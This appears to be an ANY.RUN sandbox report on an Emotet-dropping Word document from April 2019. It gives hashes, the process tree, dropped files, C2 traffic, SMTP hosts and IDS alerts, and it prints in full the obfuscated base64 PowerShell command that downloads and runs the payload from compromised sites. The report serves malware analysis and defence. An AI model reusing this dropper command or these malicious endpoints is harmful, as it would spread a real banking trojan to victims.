File name: | Document_8182930465US_Apr_25_2019[1].doc |
Full analysis: | https://app.any.run/tasks/08376430-9a95-4d55-9556-8ef7583931c1 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | April 25, 2019, 19:07:35 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Apr 25 14:36:00 2019, Last Saved Time/Date: Thu Apr 25 14:36:00 2019, Number of Pages: 1, Number of Words: 1, Number of Characters: 9, Security: 0 |
MD5: | 2DEB67CE9B4FF8E25774961D60127D1B |
SHA1: | F1AC2165E78DD50069AB8D2BE02A27D9159119AA |
SHA256: | 372935F96D1E807F4891FFDCF2319728D0247660C0D7FE44738F3B58571751CE |
SSDEEP: | 3072:577HUUUUUUUUUUUUUUUUUUUTkOQePu5U8q/Vrx1YTBsPDgnZr5R0Ntj:577HUUUUUUUUUUUUUUUUUUUT52VA17Y4 |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
CompObjUserType: | Microsoft Word 97-2003 Document |
---|---|
CompObjUserTypeLen: | 32 |
HeadingPairs: |
|
TitleOfParts: | - |
HyperlinksChanged: | No |
SharedDoc: | No |
LinksUpToDate: | No |
ScaleCrop: | No |
AppVersion: | 16 |
CharCountWithSpaces: | 9 |
Paragraphs: | 1 |
Lines: | 1 |
Company: | - |
CodePage: | Windows Latin 1 (Western European) |
Security: | None |
Characters: | 9 |
Words: | 1 |
Pages: | 1 |
ModifyDate: | 2019:04:25 13:36:00 |
CreateDate: | 2019:04:25 13:36:00 |
TotalEditTime: | - |
Software: | Microsoft Office Word |
RevisionNumber: | 1 |
LastModifiedBy: | - |
Template: | Normal.dotm |
Comments: | - |
Keywords: | - |
Author: | - |
Subject: | - |
Title: | - |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3108 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Document_8182930465US_Apr_25_2019[1].doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
1632 | powershell -e JABoAFoAXwBjAEEAQQA9ACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACAAJwBIAEEAVQAnACwAJwBCADEAJwAsACcAQQBBAEEAJwApADsAJABqAFgAQQBDAFEAVQBfACAAPQAgACcAMQAwADMAJwA7ACQAVwA0AEEAQQBjAEEAPQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACcANAAnACwAJwBuACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnADQAQgAnACwAJwBvAEEAVQAnACkAKQA7ACQAZgBaAFUAQQBBAGsAQQBaAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABqAFgAQQBDAFEAVQBfACsAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwAuAGUAeAAnACwAJwBlACcAKQA7ACQARwBRAFUAQgBrAFgAMQA9ACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACAAJwBHACcALAAnAEQAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAQQBBAFoAJwAsACcARwBBACcAKQApADsAJABvAFoAQQBBAHgAQgBBAFUAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AYABlAFQALgBgAFcARQBCAEMATABpAEUAYABOAHQAOwAkAGYAeAB3AFoAQQBVAEEAYwA9ACgAIgB7ADIANQB9AHsAMQB9AHsAOAB9AHsANAAzAH0AewAxADgAfQB7ADMAOQB9AHsAOQB9AHsAMwB9AHsAMQA5AH0AewAyADQAfQB7ADIAMAB9AHsAMAB9AHsAMwAzAH0AewAxADUAfQB7ADUAfQB7ADQANwB9AHsANAA4AH0AewA0ADEAfQB7ADEANwB9AHsAMQAxAH0AewAyADMAfQB7ADIAMgB9AHsAMQA2AH0AewA3AH0AewA2AH0AewAyADEAfQB7ADMAMgB9AHsAMQAyAH0AewAyADYAfQB7ADQANAB9AHsAMQAzAH0AewAzADgAfQB7ADIANwB9AHsAMgA4AH0AewA1ADAAfQB7ADMANgB9AHsANAAyAH0AewAzADQAfQB7ADQANgB9AHsAMgB9AHsANAAwAH0AewAxADQAfQB7ADQAOQB9AHsANAA1AH0AewAzADEAfQB7ADEAMAB9AHsAMgA5AH0AewAzADcAfQB7ADMAMAB9AHsANAB9AHsAMwA1AH0AIgAtAGYAIAAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwB0AHQAcAA6ACcALAAnAEAAaAAnACkALAAnADAAJwAsACcAZgAvACcAKQAsACcAYQAnACwAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIALQBmACAAJwBzAG8AYwAnACwAJwBpAGEAJwAsACgAIgB7ADIAfQB7ADAAfQB7ADEAfQAiACAALQBmACAAJwB1ACcALAAnAG4AZwAuAGkAJwAsACcAYwBoACcAKQApACwAJwBwACcALAAnAGUAbgAnACwAJwBvAGEAJwAsACcALwAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAZQBuAHQAJwAsACcAdAAnACkALAAnAG4AJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAdAAvAHcAJwAsACcAZQAnACkALAAnAC4AbgAnACkALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBjAG8AJwAsACcAYQAuACcAKQAsACcAdwBwACcALAAnAHQAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcALwAvAGEAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAYwBzAGIAJwAsACcAbwAnACkAKQAsACgAIgB7ADEAfQB7ADIAfQB7ADAAfQAiACAALQBmACAAKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAJwBAAGgAdAAnACwAJwBGAC8AJwAsACcAUwBfAHkAJwApACwAJwAvACcALAAnADYAJwApACwAJwBwAG4AYQAnACwAJwBuACcALAAnAG0ALwAnACwAJwB6ACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwB0ACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAC0AYwBvACcALAAnAG4AJwApACkALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcALwBJAF8AJwAsACcAdAAnACkALAAnAFkAJwAsACcAYwBvACcALAAnAC0AJwAsACcAZQBuACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwAvACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAdAB0AHAAOgAvACcALAAnAGgAJwApACkALAAnAHAAJwAsACcAYwAnACwAJwBsACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBtAC8AdwAnACwAJwBwAC0AYwAnACkALAAnAG4AdAAnACwAJwB0ACcALAAoACIAewAyAH0AewAxAH0AewAwAH0AIgAgAC0AZgAgACcAdAAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAQABoACcALAAnAFQALwAnACkALAAnADMAXwBpACcAKQAsACcALwAvAGEAJwAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAoACIAewAyAH0AewAxAH0AewAwAH0AIgAtAGYAIAAnAGgAdAAnACwAJwBwAC8AQAAnACwAJwBnACcAKQAsACcAOgAnACwAJwB0AHAAJwApACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcALwBUADgAXwAnACwAJwB0ACcAKQAsACcAcAAvACcALAAnAEYAJwApACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAIAAnAGUAcwAvACcALAAnAGQAJwAsACcAeQBuACcAKQAsACcAbwAnACwAKAAiAHsAMwB9AHsAMgB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAdwBwAC0AaQAnACwAJwBuACcAKQAsACcAbQAvACcALAAnAGMAbwAnACwAJwBkAGEALgAnACkALAAnAHoAegAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGwALgAnACwAKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAG4ALwAnACwAJwBpAG0AZwAnACwAJwB2ACcAKQApACwAJwBjAG8AJwAsACcAXwAnACwAJwBpAG0AJwAsACcAOgAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAYQB4ACcALAAnAGEAcwAnACkALAAoACIAewAwAH0AewAxAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwBvAG4AJwAsACcALwAvAGMAJwApACwAJwBnACcAKQAsACcAcwAnACwAJwBpAHMALgAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAdABwADoALwAvACcALAAnAHcAdwAnACkALAAnAHcALgAnACkALAAnAHUAJwApAC4AIgBzAFAATABgAEkAdAAiACgAJwBAACcAKQA7ACQAVQBVAHcAWgBRADEAQQA9ACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBCACcALAAnAGMAQQB3ACcAKQAsACcAQgBfACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGYAQQBCAGsAMQBBAEEANAAgAGkAbgAgACQAZgB4AHcAWgBBAFUAQQBjACkAewB0AHIAeQB7ACQAbwBaAEEAQQB4AEIAQQBVAC4AIgBkAE8AVwBuAGAATABgAG8AYQBEAGAARgBpAGwARQAiACgAJABmAEEAQgBrADEAQQBBADQALAAgACQAZgBaAFUAQQBBAGsAQQBaACkAOwAkAGMAQwBfAEEAVQBDAD0AKAAiAHsAMgB9AHsAMQB9AHsAMAB9ACIALQBmACAAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBDAEEAQQAnACwAJwBBACcAKQAsACcAWgAnACwAJwBQAFEAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAGYAWgBVAEEAQQBrAEEAWgApAC4AIgBsAGUAYABOAGAARwBUAEgAIgAgAC0AZwBlACAAMgAwADIAOAAxACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlAC0ASQAnACsAJwB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAGYAWgBVAEEAQQBrAEEAWgA7ACQAVQBBAEEAYwBEAHcAPQAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAQQBRACcALAAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBuACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwBVACcALAAnAEEAVQBfACcAKQAsACcAQQAnACkAKQA7AGIAcgBlAGEAawA7ACQAagBYAGMAXwBBAGsAPQAoACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBBAEQAJwAsACcAVQBBACcAKQAsACcAdwBjACcALAAnAEgAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAFoAQgBCAEEAVQA9ACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcARABBAEMAJwAsACcAQQAnACkALAAnAFoAYwAnACkA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2892 | "C:\Users\admin\103.exe" | C:\Users\admin\103.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
4004 | --4b59fb32 | C:\Users\admin\103.exe | 103.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3244 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 103.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
4020 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Integrity Level: MEDIUM |
PID | Process | Filename | Type | |
---|---|---|---|---|
3108 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRFD54.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1632 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\T5K4EE36PGW291SG9V7P.temp | — | |
MD5:— | SHA256:— | |||
3108 | WINWORD.EXE | C:\Users\admin\Desktop\~$cument_8182930465US_Apr_25_2019[1].doc | pgc | |
MD5:90185163BBE6305AA3A61E29B141DC54 | SHA256:B637EFECF20BD20C5C6BD6976AC68720512DB9345E3654469261C3B1F7AEB4E6 | |||
1632 | powershell.exe | C:\Users\admin\103.exe | executable | |
MD5:A8A91E019ED26398DC25902059E2A179 | SHA256:5438104F416BB8A85E3352871E0D05B137548134AF616058DDB3F98BDE0D1353 | |||
3108 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:B7C19ED1D51196DB09FD4D2D39D180BD | SHA256:8ED284D06B7625BD63C6576A6A1D9B1FE148C360832D5A1C4260D0489D58A5C3 | |||
1632 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF130c09.TMP | binary | |
MD5:5F9A7BF5388376D94C2EDCA422810BEC | SHA256:8B2183F4F2F735C231B1F81D46CB86CB1FB51168824DE82F3A9EA79C12CAF82C | |||
3108 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:7A5724CE53F9248A5DC484CAAE6B7090 | SHA256:DA486E0529BB2B0F3FB448501635F1EF041FCFC2C9C7E3B614F14138082C16E8 | |||
1632 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:5F9A7BF5388376D94C2EDCA422810BEC | SHA256:8B2183F4F2F735C231B1F81D46CB86CB1FB51168824DE82F3A9EA79C12CAF82C | |||
3108 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:4D52C39D29D1D31F422FA8E1913C08A7 | SHA256:484D43D7AE032DCD1648058E43CCF84F1879AB6E11E29F37CCCBD8E51C5F9523 | |||
4004 | 103.exe | C:\Users\admin\AppData\Local\soundser\soundser.exe | executable | |
MD5:A8A91E019ED26398DC25902059E2A179 | SHA256:5438104F416BB8A85E3352871E0D05B137548134AF616058DDB3F98BDE0D1353 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
1632 | powershell.exe | GET | 200 | 5.45.71.231:80 | http://animzzz.net/wp-content/I_0f/ | NL | executable | 78.0 Kb | suspicious |
4020 | soundser.exe | POST | — | 159.0.130.149:443 | http://159.0.130.149:443/add/badge/ | SA | — | — | malicious |
4020 | soundser.exe | POST | — | 191.92.69.115:80 | http://191.92.69.115/jit/scripts/ringin/ | CO | — | — | malicious |
4020 | soundser.exe | POST | 200 | 149.255.56.242:8080 | http://149.255.56.242:8080/sess/ | GB | binary | 705 Kb | malicious |
4020 | soundser.exe | POST | — | 77.111.149.55:80 | http://77.111.149.55/scripts/report/ringin/ | HU | — | — | malicious |
4020 | soundser.exe | GET | 200 | 198.58.114.91:4143 | http://198.58.114.91:4143/whoami.php | US | text | 14 b | malicious |
4020 | soundser.exe | POST | 200 | 149.255.56.242:8080 | http://149.255.56.242:8080/raster/ | GB | binary | 148 b | malicious |
4020 | soundser.exe | POST | 200 | 198.58.114.91:4143 | http://198.58.114.91:4143/symbols/ | US | binary | 42.3 Kb | malicious |
4020 | soundser.exe | POST | 200 | 198.58.114.91:4143 | http://198.58.114.91:4143/enabled/balloon/ringin/merge/ | US | binary | 39.5 Kb | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
4020 | soundser.exe | 159.0.130.149:443 | — | Saudi Telecom Company JSC | SA | malicious |
4020 | soundser.exe | 191.92.69.115:80 | — | — | CO | malicious |
1632 | powershell.exe | 5.45.71.231:80 | animzzz.net | Serverius Holding B.V. | NL | suspicious |
4020 | soundser.exe | 77.111.149.55:80 | — | Tarr Kft. | HU | malicious |
4020 | soundser.exe | 198.58.114.91:4143 | — | Linode, LLC | US | malicious |
4020 | soundser.exe | 62.201.172.21:587 | smtp.mail.de | IPHH Internet Port Hamburg GmbH | DE | unknown |
4020 | soundser.exe | 149.255.56.242:8080 | — | Awareness Software Limited | GB | malicious |
4020 | soundser.exe | 74.208.5.15:587 | smtp.mail.com | 1&1 Internet SE | US | malicious |
4020 | soundser.exe | 166.78.79.129:587 | secure.emailsrvr.com | Rackspace Ltd. | US | malicious |
4020 | soundser.exe | 198.27.111.160:465 | mail.monespaceweb.com | OVH SAS | CA | unknown |
Domain | IP | Reputation |
---|---|---|
animzzz.net |
| suspicious |
mail081-2.exch081.serverdata.net |
| unknown |
smtp.mail.com |
| shared |
mail.sanan-e.com |
| unknown |
mail.2wellbeing.org |
| unknown |
smtp.bostontomato.com |
| unknown |
mail.lakemaryoralsurgery.com |
| unknown |
secure.emailsrvr.com |
| shared |
mail.monespaceweb.com |
| unknown |
smtp.rcibuildersnewhomes.com |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
1632 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1632 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1632 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
4020 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
4020 | soundser.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |
4020 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
4020 | soundser.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 3 |
4020 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
4020 | soundser.exe | Generic Protocol Command Decode | SURICATA STREAM excessive retransmissions |
4020 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |